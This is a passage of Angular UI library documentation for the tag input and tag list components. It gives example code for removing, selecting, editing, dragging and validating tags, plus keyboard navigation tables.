            <kbq-tag-list #tagList="kbqTagList" removable draggable (dropped)="dropped($event)">
                @for (tag of tags(); track tag) {
                    <kbq-tag [value]="tag" (removed)="removed($event)">
                        {{ tag.value }}
                        <i kbq-icon-button="kbq-xmark-s_16" kbqTagRemove (click)="afterRemove()"></i>
                    </kbq-tag>
                }

                <input
                    autocomplete="off"
                    kbqInput
                    placeholder="New tag"
                    [kbqTagInputSeparatorKeyCodes]="separators"
                    [kbqTagInputFor]="tagList"
                    (kbqTagInputTokenEnd)="create($event)"
                />

                <kbq-cleaner />
            </kbq-tag-list>
        </kbq-form-field>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: var(--kbq-size-m);
            min-height: var(--kbq-size-xxl);
            margin: var(--kbq-size-5xl);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TagInputOverviewExample {
    protected readonly colors = KbqComponentColors;
    protected readonly removable = model(true);
    protected readonly tags = model(getTags());
    protected readonly separators = [COMMA, SPACE, SEMICOLON, ENTER, TAB];
    private readonly input = viewChild.required(KbqTagInput, { read: ElementRef });

    protected removed(event: KbqTagEvent): void {
        this.tags.update((tags) => {
            const index = tags.indexOf(event.tag.value);

            tags.splice(index, 1);

            console.log(`Tag #${index} was removed:`, event);

            return tags;
        });
    }

    protected create({ input, value = '' }: KbqTagInputEvent): void {
        if (value) {
            this.tags.update((tags) => {
                tags.push({ value });

                return tags;
            });

            input.value = '';
        }
    }

    protected dropped({ previousIndex, currentIndex }: KbqTagListDroppedEvent): void {
        moveItemInArray(this.tags(), previousIndex, currentIndex);
        this.focusInput();
    }

    protected afterRemove(): void {
        this.focusInput();
    }

    private focusInput(): void {
        this.input().nativeElement.focus();
    }
}
```

#### Tag removal

Tag removal order:

- If there are selected tags, all of them will be removed.
- If there are no selected tags, the focused tag will be removed.

Tags can be removed in several ways:

- Click on the remove icon (`kbqTagRemove` directive) inside the tag.
- Press `Delete` or `Backspace` key.
- Click on the reset control, which removes every tag except the disabled ones.
- Programmatic removal through the component [API](https://koobiq.io/api/tags.md).

The removal option is configured using the `removable` attribute (enabled by default). A disabled tag does not show its remove icon, and a list with `removable="false"` has no reset control either.

**Example: Tag input removable** (`tag-input-removable`)

```ts tag-input-removable-example.ts
import { COMMA, ENTER, SEMICOLON, SPACE, TAB } from '@angular/cdk/keycodes';
import { ChangeDetectionStrategy, Component, ElementRef, model, viewChild } from '@angular/core';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqTagEvent, KbqTagInput, KbqTagInputEvent, KbqTagsModule } from '@koobiq/components/tags';

const getTags = () => Array.from({ length: 3 }, (_, i) => ({ value: `Removable tag ${i}` }));

@Component({
    selector: 'tag-input-removable-example',
    imports: [KbqTagsModule, KbqIconModule, KbqInputModule],
    template: `
        <kbq-form-field>
            <kbq-tag-list #tagList="kbqTagList" removable>
                @for (tag of tags(); track tag) {
                    <kbq-tag [value]="tag" (removed)="removed($event)">
                        {{ tag.value }}
                        <i kbq-icon-button="kbq-xmark-s_16" kbqTagRemove (click)="afterRemove()"></i>
                    </kbq-tag>
                }

                <input
                    autocomplete="off"
                    kbqInput
                    placeholder="New tag"
                    [kbqTagInputSeparatorKeyCodes]="separators"
                    [kbqTagInputFor]="tagList"
                    (kbqTagInputTokenEnd)="create($event)"
                />

                <kbq-cleaner />
            </kbq-tag-list>
        </kbq-form-field>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: var(--kbq-size-m);
            min-height: var(--kbq-size-xxl);
            margin: var(--kbq-size-5xl);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TagInputRemovableExample {
    protected readonly colors = KbqComponentColors;
    protected readonly removable = model(true);
    protected readonly tags = model(getTags());
    protected readonly separators = [COMMA, SPACE, SEMICOLON, ENTER, TAB];
    private readonly input = viewChild.required(KbqTagInput, { read: ElementRef });

    protected removed(event: KbqTagEvent): void {
        this.tags.update((tags) => {
            const index = tags.indexOf(event.tag.value);

            tags.splice(index, 1);

            console.log(`Tag #${index} was removed:`, event);

            return tags;
        });
    }

    protected create({ input, value = '' }: KbqTagInputEvent): void {
        if (value) {
            this.tags.update((tags) => {
                tags.push({ value });

                return tags;
            });

            input.value = '';
        }
    }

    protected afterRemove(): void {
        this.input().nativeElement.focus();
    }
}
```

The reset control needs no handler of its own — it removes the tags through the same `removed` output as the remove icon inside a tag. Which tags it removes is set by the `clearPredicate` attribute: `[clearPredicate]="clearEverything"` and `clearEverything = () => true` clear the disabled ones too.

**Example: Tag input cleaner with disabled tags** (`tag-input-cleaner-with-disabled`)

```ts tag-input-cleaner-with-disabled-example.ts
import { COMMA, ENTER } from '@angular/cdk/keycodes';
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqTag, KbqTagEvent, KbqTagInputEvent, KbqTagsModule } from '@koobiq/components/tags';

/** Tags the user is not allowed to take off. */
const lockedTags = ['Beta'];

@Component({
    selector: 'tag-input-cleaner-with-disabled-example',
    imports: [KbqIconModule, KbqInputModule, KbqTagsModule],
    template: `
        <kbq-form-field>
            <kbq-tag-list #keptList="kbqTagList">
                @for (tag of kept(); track tag) {
                    <kbq-tag [value]="tag" [disabled]="isLocked(tag)" (removed)="removedFromKept($event)">
                        {{ tag }}
                        <i kbq-icon-button="kbq-xmark-s_16" kbqTagRemove></i>
                    </kbq-tag>
                }

                <input
                    autocomplete="off"
                    kbqInput
                    placeholder="Kept"
                    [kbqTagInputFor]="keptList"
                    [kbqTagInputSeparatorKeyCodes]="separators"
                    (kbqTagInputTokenEnd)="createInKept($event)"
                />

                <kbq-cleaner />
            </kbq-tag-list>
        </kbq-form-field>

        <kbq-form-field>
            <kbq-tag-list #clearedList="kbqTagList" [clearPredicate]="clearEverything">
                @for (tag of cleared(); track tag) {
                    <kbq-tag [value]="tag" [disabled]="isLocked(tag)" (removed)="removedFromCleared($event)">
                        {{ tag }}
                        <i kbq-icon-button="kbq-xmark-s_16" kbqTagRemove></i>
                    </kbq-tag>
                }

                <input
                    autocomplete="off"
                    kbqInput
                    placeholder="Cleared"
                    [kbqTagInputFor]="clearedList"
                    [kbqTagInputSeparatorKeyCodes]="separators"
                    (kbqTagInputTokenEnd)="createInCleared($event)"
                />

                <kbq-cleaner />
            </kbq-tag-list>
        </kbq-form-field>
    `,
    styles: `
        :host {
            display: flex;
            justify-content: center;
            gap: var(--kbq-size-l);
            padding: var(--kbq-size-l);
        }

        .kbq-form-field {
            width: 240px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TagInputCleanerWithDisabledExample {
    protected readonly separators = [COMMA, ENTER];
    protected readonly kept = model(['Alpha', 'Beta', 'Gamma']);
    protected readonly cleared = model(['Alpha', 'Beta', 'Gamma']);

    /** Opts out of the default, which leaves the disabled tags in place. */
    protected readonly clearEverything = (_tag: KbqTag) => true;

    protected isLocked(tag: string): boolean {
        return lockedTags.includes(tag);
    }

    protected createInKept({ input, value = '' }: KbqTagInputEvent): void {
        if (value) {
            this.kept.update((tags) => [...tags, value]);
            input.value = '';
        }
    }

    protected createInCleared({ input, value = '' }: KbqTagInputEvent): void {
        if (value) {
            this.cleared.update((tags) => [...tags, value]);
            input.value = '';
        }
    }

    protected removedFromKept({ tag }: KbqTagEvent): void {
        this.kept.update((tags) => tags.filter((value) => value !== tag.value));
    }

    protected removedFromCleared({ tag }: KbqTagEvent): void {
        this.cleared.update((tags) => tags.filter((value) => value !== tag.value));
    }
}
```

#### Tag selection

Tags can be selected in several ways:

- Click on a tag while holding `Ctrl`.
- Click on a tag while holding `Shift` to change the selection range from the anchor tag to the clicked tag.
- Press `Shift` + `←` / `→` to expand or shrink the range.
- Press `Ctrl+A` key combination.
- `Space` when the tag is focused.
- Programmatic selection through the component [API](https://koobiq.io/api/tags.md).

Pointer and keyboard interactions change the same range relative to its initial tag. When the range shrinks, tags outside it are deselected. Disabled tags remain unchanged.

The selection option is configured using the `selectable` attribute (enabled by default).

#### Editing

To enable editing mode, you need to set the `editable` property for `kbq-tag-list` or individual `kbq-tag`.

Enter editing mode:

- On double click on the tag.
- On pressing `Enter` or `F2` key (when tag is focused).

Save changes:

- On pressing `Enter` key.
- On clicking the confirmation button (`kbqTagEditSubmit` directive).

Cancel changes:

- On pressing `Escape` key.
- On focus loss.

In editing mode, the tag transforms into an input field and remains at the same position within the control.

**Example: Tag input editable** (`tag-input-editable`)

```ts tag-input-editable-example.ts
import { COMMA, ENTER, SEMICOLON, SPACE, TAB } from '@angular/cdk/keycodes';
import { ChangeDetectionStrategy, Component, ElementRef, model, viewChild } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqTagEditChange, KbqTagEvent, KbqTagInput, KbqTagInputEvent, KbqTagsModule } from '@koobiq/components/tags';
import { KbqTitleModule } from '@koobiq/components/title';

const getTags = () => Array.from({ length: 3 }, (_, i) => ({ value: `Editable tag ${i}` }));

@Component({
    selector: 'tag-input-editable-example',
    imports: [KbqTagsModule, KbqIconModule, FormsModule, KbqInputModule, KbqTitleModule],
    template: `
        <kbq-form-field>
            <kbq-tag-list #tagList="kbqTagList" editable>
                @for (tag of tags(); track tag) {
                    <kbq-tag
                        kbq-title
                        [value]="tag"
                        (editChange)="editChange($event, $index)"
                        (removed)="removed($event)"
                    >
                        {{ tag.value }}
                        <input kbqInput kbqTagEditInput [(ngModel)]="editInputModel" />
                        @if (editInputModel().length === 0) {
                            <i kbq-icon-button="kbq-xmark-s_16" kbqTagEditSubmit [color]="color.Theme"></i>
                        } @else {
                            <i kbq-icon-button="kbq-check-s_16" kbqTagEditSubmit [color]="color.Theme"></i>
                        }
                        <i kbq-icon-button="kbq-xmark-s_16" kbqTagRemove (click)="afterRemove()"></i>
                    </kbq-tag>
                }

                <input
                    autocomplete="off"
                    kbqInput
                    placeholder="New tag"
                    [kbqTagInputSeparatorKeyCodes]="separators"
                    [kbqTagInputFor]="tagList"
                    (kbqTagInputTokenEnd)="create($event)"
                />

                <kbq-cleaner />
            </kbq-tag-list>
        </kbq-form-field>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: var(--kbq-size-xl);
            margin: var(--kbq-size-xl);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TagInputEditableExample {
    protected readonly color = KbqComponentColors;
    protected readonly tags = model(getTags());
    private readonly input = viewChild.required(KbqTagInput, { read: ElementRef });
    protected readonly editInputModel = model<string>('');
    protected readonly separators = [COMMA, SPACE, SEMICOLON, ENTER, TAB];

    protected editChange({ reason, type, tag }: KbqTagEditChange, index: number): void {
        switch (type) {
            case 'start': {
                console.info(`Tag #${index} edit was started. Reason: "${reason}".`);

                this.editInputModel.set(tag.value.value);

                break;
            }
            case 'cancel': {
                console.info(`Tag #${index} edit was canceled. Reason: "${reason}".`);

                this.editInputModel.set('');

                this.focusInput();

                break;
            }
            case 'submit': {
                console.info(`Tag #${index} edit was submitted. Reason: "${reason}".`);

                if (!this.editInputModel()) {
                    tag.remove();
                } else {
                    this.tags.update((tags) => {
                        tags[index].value = this.editInputModel();

                        return tags;
                    });
                    this.editInputModel.set('');
                }

                this.focusInput();

                break;
            }
            default:
        }
    }

    protected removed(event: KbqTagEvent): void {
        this.tags.update((tags) => {
            const index = tags.indexOf(event.tag.value);

            tags.splice(index, 1);

            console.info(`Tag #${index} was removed.`);

            return [...tags];
        });
    }

    protected create({ input, value = '' }: KbqTagInputEvent): void {
        if (value) {
            this.tags.update((tags) => {
                tags.push({ value });

                return tags;
            });

            input.value = '';
        }
    }

    protected afterRemove(): void {
        this.focusInput();
    }

    private focusInput(): void {
        this.input().nativeElement.focus();
    }
}
```

#### Drag and drop

To enable tag reordering, you need to set the `draggable` property for `kbq-tag-list`.

**Example: Tag input draggable** (`tag-input-draggable`)

```ts tag-input-draggable-example.ts
import { moveItemInArray } from '@angular/cdk/drag-drop';
import { COMMA, ENTER, SEMICOLON, SPACE, TAB } from '@angular/cdk/keycodes';
import { ChangeDetectionStrategy, Component, ElementRef, model, viewChild } from '@angular/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';
import {
    KbqTagEvent,
    KbqTagInput,
    KbqTagInputEvent,
    KbqTagListDroppedEvent,
    KbqTagsModule
} from '@koobiq/components/tags';

const getTags = () => Array.from({ length: 3 }, (_, id) => ({ id, value: `Draggable tag ${id}` }));

@Component({
    selector: 'tag-input-draggable-example',
    imports: [KbqTagsModule, KbqIconModule, KbqInputModule],
    template: `
        <kbq-form-field>
            <kbq-tag-list #tagList="kbqTagList" draggable (dropped)="dropped($event)">
                @for (tag of tags(); track tag.id) {
                    <kbq-tag [value]="tag.value" (removed)="removed($event)">
                        {{ tag.value }}
                        <i kbq-icon-button="kbq-xmark-s_16" kbqTagRemove (click)="afterRemove()"></i>
                    </kbq-tag>
                }

                <input
                    autocomplete="off"
                    kbqInput
                    placeholder="New tag"
                    [kbqTagInputFor]="tagList"
                    [kbqTagInputSeparatorKeyCodes]="separators"
                    (kbqTagInputTokenEnd)="create($event)"
                />

                <kbq-cleaner />
            </kbq-tag-list>
        </kbq-form-field>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: var(--kbq-size-m);
            margin: var(--kbq-size-5xl);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TagInputDraggableExample {
    protected readonly tags = model(getTags());
    private readonly input = viewChild.required(KbqTagInput, { read: ElementRef });
    protected readonly separators = [COMMA, SPACE, SEMICOLON, ENTER, TAB];

    protected dropped(event: KbqTagListDroppedEvent): void {
        moveItemInArray(this.tags(), event.previousIndex, event.currentIndex);
        this.focusInput();
    }

    protected create({ input, value = '' }: KbqTagInputEvent): void {
        if (value) {
            this.tags.update((tags) => {
                tags.push({ id: tags.length, value });

                return tags;
            });

            input.value = '';
        }
    }

    protected removed(event: KbqTagEvent): void {
        this.tags.update((tags) => {
            const index = tags.findIndex(({ value }) => value === event.tag.value);

            tags.splice(index, 1);

            console.log(`Tag #${index} was removed:`, event);

            return tags;
        });
    }

    protected afterRemove(): void {
        this.focusInput();
    }

    private focusInput(): void {
        this.input().nativeElement.focus();
    }
}
```

#### Separators

By default, a tag is created on `Enter`. Additional separator keys are set via `kbqTagInputSeparatorKeyCodes` and apply both while typing and when pasting from the clipboard.

If a separator should only apply on paste (e.g. a space, which is a common character inside a tag), mark it with `appliesTo: ['paste']`. Separators without a `key` (e.g. `/\s+/` for any run of whitespace) are paste-only by default, since no keystroke can ever match them.

Application- or module-wide defaults are set via `kbqTagsDefaultOptionsProvider`:

```ts
import { ENTER } from '@koobiq/components/core';
import { kbqTagsDefaultOptionsProvider } from '@koobiq/components/tags';

@NgModule({
    providers: [
        kbqTagsDefaultOptionsProvider({
            separatorKeyCodes: [ENTER],
            separators: [
                { symbol: /\r?\n/, key: 'Enter', keyCode: ENTER, appliesTo: ['input', 'paste'] },
                { symbol: /\s+/, appliesTo: ['paste'] } // paste-only — splits on any whitespace
            ]
        })
    ]
})
```

#### Validation

Validators belong on `<kbq-tag-list>`: the tag list is the form control for the whole set of tags, while the input is only a text entry helper. The control value is the array of tags, so a single set of validators covers both the number of tags and the content of each one.

A `[formControl]` or `[ngModel]` of its own on `<input kbqTagInputFor>` is still fine — that is how the typed text can drive autocomplete filtering, for example. The library simply does not consider validators attached to that control: it neither checks them nor puts the field into the error state.

Validators do not prevent a tag from being added: the tag is added and the field goes into the error state — the same way for typing and for pasting from the clipboard. To keep an invalid value out of the list, filter it in the `(kbqTagInputTokenEnd)` handler. In-place tag editing does not go through that handler — reject a value there with `preventEditSubmit`.

When the error becomes visible is controlled by [ErrorStateMatcher](https://koobiq.io/en/other/validation.md), and by default happens once the control is invalid and either touched or the form has been submitted.

**Example: Tag input with form control validators** (`tag-input-with-form-control-validators`)

```ts tag-input-with-form-control-validators-example.ts
import { ChangeDetectionStrategy, Component, ElementRef, viewChild } from '@angular/core';
import {
    AbstractControl,
    FormControl,
    ReactiveFormsModule,
    ValidationErrors,
    ValidatorFn,
    Validators
} from '@angular/forms';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqTagInput, KbqTagInputEvent, KbqTagsModule } from '@koobiq/components/tags';

const MAX_TAG_COUNT = 5;
const LATIN_PATTERN = /^[a-zA-Z]+$/;

/** Validates every tag separately, reporting the offending ones back to the template. */
const latinValidator = (): ValidatorFn => {
    return ({ value }: AbstractControl<string[] | null>): ValidationErrors | null => {
        const invalidTags = (value || []).filter((tag) => !LATIN_PATTERN.test(tag));

        return invalidTags.length ? { latin: { invalidTags } } : null;
    };
};

/** @title Tag input with form control validators */
@Component({
    selector: 'tag-input-with-form-control-validators-example',
    imports: [
        KbqInputModule,
        KbqTagsModule,
        KbqIconModule,
        ReactiveFormsModule
    ],
    template: `
        <kbq-form-field>
            <kbq-tag-list #tagList="kbqTagList" [formControl]="formControl">
                @for (tag of formControl.value; track $index) {
                    <kbq-tag [value]="tag" (removed)="removeTag(tag)">
                        {{ tag }}
                        <i kbq-icon-button="kbq-xmark-s_16" kbqTagRemove (click)="afterRemove()"></i>
                    </kbq-tag>
                }

                <input
                    autocomplete="off"
                    kbqInput
                    placeholder="New tag"
                    [kbqTagInputFor]="tagList"
                    (kbqTagInputTokenEnd)="createTag($event)"
                />

                <kbq-cleaner />
            </kbq-tag-list>

            <kbq-hint>Only latin letters, up to {{ maxTagCount }} tags</kbq-hint>

            @if (formControl.hasError('required')) {
                <kbq-error>Field is required</kbq-error>
            }

            @if (formControl.getError('maxlength'); as error) {
                <kbq-error>No more than {{ error.requiredLength }} tags</kbq-error>
            }

            @if (formControl.getError('latin'); as error) {
                <kbq-error>Invalid tags: {{ error.invalidTags.join(', ') }}</kbq-error>
            }
        </kbq-form-field>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: var(--kbq-size-m);
            min-height: var(--kbq-size-xxl);
            margin: var(--kbq-size-5xl);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TagInputWithFormControlValidatorsExample {
    private readonly input = viewChild.required(KbqTagInput, { read: ElementRef });
    protected readonly maxTagCount = MAX_TAG_COUNT;
    protected readonly formControl = new FormControl<string[]>(
        ['Koobiq', 'Angular', 'Design'],
        [Validators.required, Validators.maxLength(MAX_TAG_COUNT), latinValidator()]
    );

    protected removeTag(tag: string): void {
        const tags = [...(this.formControl.value || [])];
        const index = tags.indexOf(tag);

        if (index >= 0) {
            tags.splice(index, 1);
            this.formControl.setValue(tags);
        }
    }

    protected createTag({ value, input }: KbqTagInputEvent): void {
        if (value) {
            this.formControl.setValue([...(this.formControl.value || []), value]);
        }

        input.value = '';
    }

    protected afterRemove(): void {
        this.input().nativeElement.focus();
    }
}
```

#### Keyboard navigation

##### Focus in empty input area

| Key                         | Action                                         |
| --------------------------- | ---------------------------------------------- |
| Backspace / ← / Shift + Tab | Move focus to the last tag.                    |
| Ctrl + A                    | Select all tags and set focus to the last one. |

##### Focus on tag

| Key                | Action                           |
| ------------------ | -------------------------------- |
| ← / →              | Move focus to previous/next tag. |
| Shift + ← / →      | Change the range and move focus. |
| Space              | Select/deselect tag.             |
| Delete / Backspace | Remove tag.                      |
| F2 / Enter         | Start editing.                   |
| Ctrl + A           | Select all tags.                 |
| Home / End         | Move focus to first/last tag.    |

##### Tag editing mode

| Key   | Action          |
| ----- | --------------- |
| Enter | Save changes.   |
| Esc   | Cancel changes. |

### API

The API of `@koobiq/components/tags` is listed under Tag.

### Examples

#### Disable tag creation on the "paste" event

**Example: Tag input onpaste off** (`tag-input-onpaste-off`)

```ts tag-input-onpaste-off-example.ts
import { COMMA, ENTER } from '@angular/cdk/keycodes';
import { ChangeDetectionStrategy, Component, ElementRef, viewChild } from '@angular/core';
import { FormControl, ReactiveFormsModule } from '@angular/forms';
import { KbqFormFieldModule } from '@koobiq/components/form-field';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqTagInput, KbqTagInputEvent, KbqTagsModule, kbqTagsDefaultOptionsProvider } from '@koobiq/components/tags';

@Component({
    selector: 'tag-input-onpaste-off-example',
    imports: [
        KbqTagsModule,
        ReactiveFormsModule,
        KbqIconModule,
        KbqFormFieldModule
    ],
    templateUrl: 'tag-input-onpaste-off-example.html',
    // turn off tag add on paste with InjectionToken
    providers: [kbqTagsDefaultOptionsProvider({ separatorKeyCodes: [ENTER], addOnPaste: false })],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TagInputOnpasteOffExample {
    private readonly input = viewChild.required(KbqTagInput, { read: ElementRef });

    control = new FormControl();

    tags = ['tag', 'tag1', 'tag2', 'tag3', 'tag4'];

    readonly separatorKeysCodes: number[] = [ENTER, COMMA];

    onCreate(event: KbqTagInputEvent): void {
        const input = event.input;
        const value = event.value;

        if ((value || '').trim()) {
            this.tags.push(value.trim());
        }

        if (input) {
            input.value = '';
        }
    }

    onRemoveTag(tag: string): void {
        const index = this.tags.indexOf(tag);

        if (index >= 0) {
            this.tags.splice(index, 1);
        }
    }

    protected afterRemove(): void {
        this.input().nativeElement.focus();
    }
}
```

```html tag-input-onpaste-off-example.html
<kbq-form-field>
    <kbq-tag-list #tagList="kbqTagList">
        @for (tag of tags; track $index) {
            <kbq-tag [value]="tag" (removed)="onRemoveTag(tag)">
                {{ tag }}
                <i kbq-icon="kbq-xmark-s_16" kbqTagRemove (click)="afterRemove()"></i>
            </kbq-tag>
        }

        <!-- turn off tag add on paste with Input property -->
        <input
            autocomplete="off"
            placeholder="New tag"
            [formControl]="control"
            [kbqTagInputAddOnPaste]="false"
            [kbqTagInputFor]="tagList"
            [kbqTagInputSeparatorKeyCodes]="separatorKeysCodes"
            (kbqTagInputTokenEnd)="onCreate($event)"
        />
        <kbq-cleaner />
    </kbq-tag-list>
</kbq-form-field>
```

## Tag list

- Entry point: `@koobiq/components/tags`
- NgModule: `KbqTagsModule`
- Page: https://koobiq.io/en/components/tag-list/overview

### Overview

Tag List displays a collection of tags and supports keyboard navigation, multiple selection, and removal.

**Example: Tag list overview** (`tag-list-overview`)

```ts tag-list-overview-example.ts
import { moveItemInArray } from '@angular/cdk/drag-drop';
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqTagEvent, KbqTagListDroppedEvent, KbqTagsModule } from '@koobiq/components/tags';

const getTags = () => Array.from({ length: 3 }, (_, i) => ({ value: `Tag ${i}` }));

@Component({
    selector: 'tag-list-overview-example',
    imports: [KbqTagsModule, KbqIconModule],
    template: `
        <kbq-tag-list removable draggable (dropped)="dropped($event)">
            @for (tag of tags(); track tag) {
                <kbq-tag [value]="tag" (removed)="removed($event)">
                    {{ tag.value }}
                    <i kbqTagRemove kbq-icon-button="kbq-xmark-s_16"></i>
                </kbq-tag>
            } @empty {
                <i kbq-icon-button="kbq-arrow-rotate-left_16" [color]="colors.ContrastFade" (click)="restart()"></i>
            }
        </kbq-tag-list>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: var(--kbq-size-m);
            min-height: var(--kbq-size-xxl);
            margin: var(--kbq-size-5xl);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TagListOverviewExample {
    protected readonly colors = KbqComponentColors;
    protected readonly tags = model(getTags());

    protected removed(event: KbqTagEvent): void {
        this.tags.update((tags) => {
            const index = tags.indexOf(event.tag.value);

            tags.splice(index, 1);

            console.log(`Tag #${index} was removed:`, event);

            return tags;
        });
    }

    protected restart(): void {
        this.tags.update(() => getTags());
    }

    protected dropped({ previousIndex, currentIndex }: KbqTagListDroppedEvent): void {
        moveItemInArray(this.tags(), previousIndex, currentIndex);
    }
}
```

#### Tag removal

Tag removal order:

- If there are selected tags, all of them will be removed.
- If there are no selected tags, the focused tag will be removed.

Tags can be removed in several ways:

- Click on the remove icon (`kbqTagRemove` directive) inside the tag.
- Press `Delete` or `Backspace` key.
- Programmatic removal through the component [API](https://koobiq.io/api/tags.md).

The removal option is configured using the `removable` attribute (enabled by default). A disabled tag does not show its remove icon.

**Example: Tag list removable** (`tag-list-removable`)

```ts tag-list-removable-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqTagEvent, KbqTagsModule } from '@koobiq/components/tags';

const getTags = () => Array.from({ length: 3 }, (_, i) => ({ value: `Removable tag ${i}` }));

@Component({
    selector: 'tag-list-removable-example',
    imports: [KbqTagsModule, KbqIconModule],
    template: `
        <kbq-tag-list removable>
            @for (tag of tags(); track tag) {
                <kbq-tag [value]="tag" (removed)="removed($event)">
                    {{ tag.value }}
                    <i kbqTagRemove kbq-icon-button="kbq-xmark-s_16"></i>
                </kbq-tag>
            } @empty {
                <i kbq-icon-button="kbq-arrow-rotate-left_16" [color]="colors.ContrastFade" (click)="restart()"></i>
            }
        </kbq-tag-list>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: var(--kbq-size-m);
            min-height: var(--kbq-size-xxl);
            margin: var(--kbq-size-5xl);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TagListRemovableExample {
    protected readonly colors = KbqComponentColors;
    protected readonly tags = model(getTags());

    protected removed(event: KbqTagEvent): void {
        this.tags.update((tags) => {
            const index = tags.indexOf(event.tag.value);

            tags.splice(index, 1);

            console.log(`Tag #${index} was removed:`, event);

            return tags;
        });
    }

    protected restart(): void {
        this.tags.update(() => getTags());
    }
}
```

#### Tag selection

Tags can be selected in several ways:

- Click on a tag while holding `Ctrl`.
- Click on a tag while holding `Shift` to change the selection range from the anchor tag to the clicked tag.
- Press `Shift` + `←` / `→` to expand or shrink the range.
- Press `Ctrl+A` key combination.
- `Space` when the tag is focused.
- Programmatic selection through the component [API](https://koobiq.io/api/tags.md).

Pointer and keyboard interactions change the same range relative to its initial tag. When the range shrinks, tags outside it are deselected. Disabled tags remain unchanged.

The selection option is configured using the `selectable` attribute (enabled by default).

#### Editing

To enable editing mode, you need to set the `editable` property for `kbq-tag-list` or individual `kbq-tag`.

Entering the mode:

- By double-clicking on the tag.
- By pressing the `Enter` or `F2` key (when focused on the tag).

Saving changes:

- By pressing the `Enter` key.
- By clicking the confirmation button (`kbqTagEditSubmit` directive).

Canceling changes:

- By pressing the `Escape` key.
- When losing focus.

**Example: Tag list editable** (`tag-list-editable`)

```ts tag-list-editable-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqTagEditChange, KbqTagEvent, KbqTagsModule } from '@koobiq/components/tags';
import { KbqTitleModule } from '@koobiq/components/title';

const getTags = () => Array.from({ length: 3 }, (_, i) => ({ value: `Editable tag ${i}` }));

@Component({
    selector: 'tag-list-editable-example',
    imports: [KbqTagsModule, KbqIconModule, FormsModule, KbqInputModule, KbqTitleModule],
    template: `
        <kbq-tag-list editable>
            @for (tag of tags(); track tag) {
                <kbq-tag kbq-title [value]="tag" (editChange)="editChange($event, $index)" (removed)="removed($event)">
                    {{ tag.value }}
                    <input kbqInput kbqTagEditInput [(ngModel)]="editInputModel" />
                    @if (editInputModel().length === 0) {
                        <i kbq-icon-button="kbq-xmark-s_16" kbqTagEditSubmit [color]="color.Theme"></i>
                    } @else {
                        <i kbq-icon-button="kbq-check-s_16" kbqTagEditSubmit [color]="color.Theme"></i>
                    }
                    <i kbq-icon-button="kbq-xmark-s_16" kbqTagRemove></i>
                </kbq-tag>
            } @empty {
                <i kbq-icon-button="kbq-arrow-rotate-left_16" [color]="color.ContrastFade" (click)="restart()"></i>
            }
        </kbq-tag-list>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: var(--kbq-size-xl);
            min-height: var(--kbq-size-7xl);
            margin: var(--kbq-size-5xl);
        }

        .kbq-tag-list {
            max-width: 100%;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TagListEditableExample {
    protected readonly color = KbqComponentColors;
    protected readonly tags = model(getTags());
    protected readonly editInputModel = model<string>('');

    protected editChange({ reason, type, tag }: KbqTagEditChange, index: number): void {
        switch (type) {
            case 'start': {
                console.info(`Tag #${index} edit was started. Reason: "${reason}".`);

                this.editInputModel.set(tag.value.value);

                break;
            }
            case 'cancel': {
                console.info(`Tag #${index} edit was canceled. Reason: "${reason}".`);

                this.editInputModel.set('');

                break;
            }
            case 'submit': {
                console.info(`Tag #${index} edit was submitted. Reason: "${reason}".`);

                if (!this.editInputModel()) {
                    tag.remove();
                } else {
                    this.tags.update((tags) => {
                        tags[index].value = this.editInputModel();

                        return tags;
                    });
                    this.editInputModel.set('');
                }

                break;
            }
            default:
        }
    }

    protected removed(event: KbqTagEvent): void {
        this.tags.update((tags) => {
            const index = tags.indexOf(event.tag.value);

            tags.splice(index, 1);

            console.info(`Tag #${index} was removed.`);

            return [...tags];
        });
    }

    protected restart(): void {
        this.tags.update(() => getTags());
    }
}
```

#### Drag and drop

To enable tag reordering, you need to set the `draggable` property for `kbq-tag-list`.

**Example: Tag list draggable** (`tag-list-draggable`)

